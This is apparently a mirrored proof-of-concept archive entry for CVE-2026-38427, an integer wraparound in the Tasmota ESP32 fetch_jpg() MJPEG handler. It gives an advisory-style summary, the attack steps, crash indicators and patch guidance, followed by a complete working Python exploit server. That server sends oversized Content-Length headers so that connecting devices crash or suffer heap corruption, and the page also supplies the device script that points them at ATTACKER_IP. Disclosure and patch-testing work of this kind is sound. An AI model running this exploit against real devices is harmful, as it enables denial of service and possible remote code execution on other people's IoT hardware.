PoC Archive PoC Archive
Critical CVE-2026-38427 patched

Tasmota fetch_jpg() Integer Wraparound to Heap Corruption (CVE-2026-38427)

by Saidakbarxon Maxsudxonov (sermikr0) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-38427
Category
network
Affected product
Arendst Tasmota (ESP32 firmware)
Affected versions
<= 15.3.0.3
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherSaidakbarxon Maxsudxonov (sermikr0)
CVE / AdvisoryCVE-2026-38427
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagstasmota, esp32, iot, integer-overflow, heap-corruption, rce, mjpeg, scripter
RelatedCVE-2026-38422, CVE-2026-38426

Affected Target

FieldValue
Software / SystemArendst Tasmota (ESP32 firmware)
Versions Affected<= 15.3.0.3
Language / PlatformPython (PoC server) targeting C++/Arduino ESP32 firmware
Authentication RequiredNo (device must be scripted to connect to attacker’s MJPEG server)
Network Access RequiredYes

Summary

When fetching subsequent MJPEG frames (case 2) in Tasmota’s scripter driver, fetch_jpg() reads the Content-Length header value via atoi() into a uint16_t variable. Values above 65535 silently wrap around (e.g. 65537 becomes 1), causing the device to allocate a drastically undersized heap buffer and read only that truncated number of bytes from the stream. The remaining, un-consumed bytes are left in the HTTP/WiFi stream buffer, corrupting stream and heap state and leading to a crash or, depending on heap layout, potential remote code execution.


Vulnerability Details

Root Cause

fetch_jpg() case 2 assigns size = atoi(cp + 1) where size is declared uint16_t, silently truncating any Content-Length value greater than 65535 before it is used to malloc() the receive buffer (CWE-190 integer overflow/wraparound leading to undersized allocation).

Attack Vector

  1. Configure a Tasmota device (via a script using fetchjp()) to fetch MJPEG frames from an attacker-controlled server, or MITM an existing connection.
  2. Send MJPEG frame headers with Content-Length values exceeding 65535 (e.g. 65537, 70000, 131072).
  3. Tasmota allocates a buffer sized to the wrapped uint16_t value and reads only that many bytes, leaving up to 65536+ bytes unread in the stream.
  4. The stale, un-consumed bytes corrupt subsequent stream parsing and heap state, causing a crash or exploitable memory corruption.

Impact

Denial of service (crash/reboot loop) and potential remote code execution on ESP32-based Tasmota devices with scripter support enabled.


Environment / Lab Setup

Target:   ESP32 device running Tasmota <= 15.3.0.3 with a script using fetchjp()
Attacker: python3

Proof of Concept

PoC Script

See CVE-2026-38427_poc.py in this folder.

1
2
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

The script runs a fake MJPEG HTTP server that sends frame headers with the specified oversized Content-Length value, triggering the uint16_t wraparound and resulting undersized allocation on a connecting Tasmota device.


Detection & Indicators of Compromise

Exception (28): epc1=... ...
Fatal exception ... rebooting

Signs of compromise:

  • Device crash/reboot loop shortly after establishing an MJPEG stream connection
  • MJPEG server responses with Content-Length values above 65535 in captured traffic

Remediation

ActionDetail
Primary fixUpdate to Tasmota v15.3.0.4 or later, which uses a wide integer type and validates Content-Length before allocation
Interim mitigationRestrict fetchjp() scripts to trusted MJPEG servers only; disable scripter support if unused

References


Notes

Mirrored from https://github.com/sermikr0/CVE-2026-38427 on 2026-07-05.

CVE-2026-38427_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
#!/usr/bin/env python3
"""
PoC: CVE-2026-38427
Target: Tasmota <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg() case 2

Vulnerability:
  Content-Length from MJPEG frame stored in uint16_t:
  
    char inbuff[64];
    stream.readBytesUntil('\n', inbuff, sizeof(inbuff));  // "Content-Length: 70000"
    char *cp = strchr(inbuff, ':');
    uint16_t size = 0;
    if (cp) {
        size = atoi(cp + 1);   // atoi("70000") = 70000 (int)
        // IMPLICIT TRUNCATION: uint16_t size = 70000 → 4464 (70000 % 65536)
    }
    uint8_t *buff = (uint8_t *)special_malloc(size);   // malloc(4464)
    if (buff) {
        stream.readBytes(buff, size);                   // reads 4464 bytes
    }
    // Stream still has 65536 unread bytes → heap/stream corruption

Integer Wraparound:
  value  → uint16_t result
  65536  → 0       (if(size>0) skipped entirely)
  65537  → 1       (malloc 1 byte)
  70000  → 4464    (malloc 4464, but JPEG is 70000 bytes)
  131072 → 0       (malloc 0 / skipped)

Impact:
  - Heap corruption via stream state mismatch
  - malloc(0) or malloc(1) with large data pending → crash
  - On ESP32: special_malloc(0) may return non-NULL → heap corruption

Tasmota script to trigger:
  >D
  >B
  fetchjp(ATTACKER_IP:8889/stream,0,0,1)
  >1
  =fetchjp(2,0,0,1)   ; get next frame (triggers case 2)

Usage:
  python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
  python3 CVE-2026-38427_poc.py --port 8889 --cl 131072

Author: Saidakbarxon Maxsudxonov
CVE: CVE-2026-38427
"""

import socket
import argparse
import time
import os
from datetime import datetime

BANNER = """
╔══════════════════════════════════════════════════════╗
║       CVE-2026-38427 PoC — Tasmota fetch_jpg()      ║
║       uint16_t Integer Wraparound → Heap Overflow    ║
║       Affected: Tasmota <= 15.3.0.3 (ESP32)         ║
╚══════════════════════════════════════════════════════╝
"""

def log(msg, level="*"):
    ts = datetime.now().strftime("%H:%M:%S")
    print(f"[{ts}] [{level}] {msg}")

def uint16_wrap(value):
    """Simulate uint16_t truncation"""
    return value & 0xFFFF

def make_mjpeg_frame(content_length_header, actual_data_size, fill_byte=b'\xff'):
    """
    Build a single MJPEG multipart frame.
    content_length_header = what we PUT in the header (malicious)
    actual_data_size = how much data we actually send
    """
    # Fake minimal JPEG (SOI + EOI markers)
    jpeg_data = (b'\xff\xd8\xff\xe0' +       # SOI + APP0 marker
                 b'\x00\x10JFIF\x00' +        # JFIF header
                 b'\x01\x01\x00\x00\x01' +
                 b'\x00\x01\x00\x00' +
                 fill_byte * (actual_data_size - 20) +  # padding
                 b'\xff\xd9')                  # EOI marker
    
    jpeg_data = jpeg_data[:actual_data_size]
    
    frame = (
        f"--myboundary\r\n"
        f"Content-Type: image/jpeg\r\n"
        f"Content-Length: {content_length_header}\r\n"
        f"\r\n"
    ).encode() + jpeg_data + b"\r\n"
    
    return frame

def handle_client(conn, addr, content_length, frames):
    log(f"Tasmota connected: {addr[0]}:{addr[1]}", "+")
    
    try:
        # Receive initial HTTP request
        request = conn.recv(2048).decode('utf-8', errors='ignore')
        log(f"Request: {request.splitlines()[0] if request else 'empty'}")
        
        # Step 1: Send initial HTTP 200 response (fetch_jpg case 0)
        actual_cl = uint16_wrap(content_length)
        
        log(f"Content-Length in header: {content_length}")
        log(f"uint16_t truncated value:  {actual_cl} ({content_length} & 0xFFFF)")
        log(f"Buffer allocated on ESP32: {actual_cl} bytes")
        log(f"Actual data in stream:     {content_length} bytes")
        log(f"Unread bytes after readBytes(): {content_length - actual_cl}", "!")
        
        # Initial response
        init_response = (
            "HTTP/1.1 200 OK\r\n"
            "Content-Type: multipart/x-mixed-replace; boundary=myboundary\r\n"
            "Connection: keep-alive\r\n"
            "\r\n"
        ).encode()
        conn.send(init_response)
        log("Initial HTTP response sent (case 0 complete)")
        
        time.sleep(0.5)
        
        # Step 2: Send MJPEG frames with malicious Content-Length (case 2)
        for i in range(frames):
            log(f"Sending frame {i+1}/{frames} with Content-Length: {content_length}", "!")
            
            # Send frame with MALICIOUS content-length header
            # but actual_data = content_length bytes to fill the stream
            frame = make_mjpeg_frame(
                content_length_header=content_length,
                actual_data_size=content_length
            )
            
            conn.send(frame)
            log(f"  Header says: {content_length} bytes")
            log(f"  ESP32 reads: {actual_cl} bytes (uint16_t wrap)")
            log(f"  Remaining in stream: {content_length - actual_cl} bytes (CORRUPTION!)", "!")
            time.sleep(0.3)
        
        log("All frames sent — ESP32 should crash/reboot now", "!")
        time.sleep(2)
        
    except BrokenPipeError:
        log("ESP32 disconnected (likely crashed!)", "+")
    except Exception as e:
        log(f"Error: {e}", "-")
    finally:
        conn.close()

def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(description="CVE-2026-38427 PoC Server")
    parser.add_argument("--ip", default="0.0.0.0")
    parser.add_argument("--port", type=int, default=8889)
    parser.add_argument("--cl", type=int, default=65537,
                        help="Malicious Content-Length (>65535)")
    parser.add_argument("--frames", type=int, default=3,
                        help="Number of frames to send")
    args = parser.parse_args()
    
    if args.cl <= 65535:
        log(f"WARNING: Content-Length {args.cl} <= 65535, no wraparound!", "-")
        log("Use --cl 65537 or higher for wraparound", "-")
    
    print(BANNER)
    log("CVE-2026-38427 — uint16_t Integer Wraparound PoC", "+")
    log(f"Listening: {args.ip}:{args.port}")
    log(f"Content-Length: {args.cl} → wraps to {uint16_wrap(args.cl)}")
    log("─" * 54)
    log("Wraparound table:")
    for cl in [65536, 65537, 65600, 70000, 131072, 131073]:
        wrapped = uint16_wrap(cl)
        log(f"  {cl:>7}{wrapped:>5}  (corrupts {cl-wrapped} bytes in stream)")
    log("─" * 54)
    log(f"Tasmota script:")
    log(f"  >D")
    log(f"  >B")
    log(f"  fetchjp(YOUR_IP:{args.port}/stream,0,0,1)")
    log(f"  >1")
    log(f"  =fetchjp(2,0,0,1)")
    log("─" * 54)
    
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((args.ip, args.port))
    server.listen(5)
    log("Waiting for Tasmota device...", "*")
    
    try:
        while True:
            conn, addr = server.accept()
            handle_client(conn, addr, args.cl, args.frames)
    except KeyboardInterrupt:
        log("Stopped")
    finally:
        server.close()

if __name__ == "__main__":
    main()